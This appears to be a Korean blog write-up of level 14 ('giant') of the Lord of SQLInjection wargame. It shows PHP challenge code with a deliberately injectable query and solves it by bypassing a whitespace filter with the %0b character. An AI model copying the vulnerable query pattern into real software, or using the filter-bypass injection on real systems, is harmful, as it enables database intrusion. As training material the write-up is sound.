LOS #14 giant

2020. 10. 28. 22:58
728x90
728x90
728x90
 

Lord of SQLInjection

 

los.rubiya.kr

Source code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>

 

Query

select 1234 fromprob_giant where 1;

 

Write-up

[사진 1]

위 사진에서 확인할 수 있는 정보는 다음과 같다.

  • 파라미터는 shit 1개가 사용될 수 있다.

  • shit 값의 길이는 1 이하로 제한된다.

  • 쿼리문을 보면 "from"과 "prob_gian" 값이 붙어 있어 오류가 발생한다. 공백 값을 넣어야 하는데, white space, \n, \r, \t 필터링이 되고 있다.

공백 값을 우회하는 방법으로는 %0a, %0b, %0c, %0d 등이 있다.

 

Parameter

shit=%0b

쿼리문은 다음과 같다.

select 1234 from%0bprob_giant where 1

 

Success

[사진 2]

728x90
728x90

'Wargame > LOS' 카테고리의 다른 글

LOS #16 succubus  (0) 2020.10.28
LOS #15 assassin  (0) 2020.10.28
LOS #13 bugbear  (0) 2020.10.28
LOS #12 darkknight  (0) 2020.10.28
LOS #11 golem  (0) 2020.10.28

+ Recent posts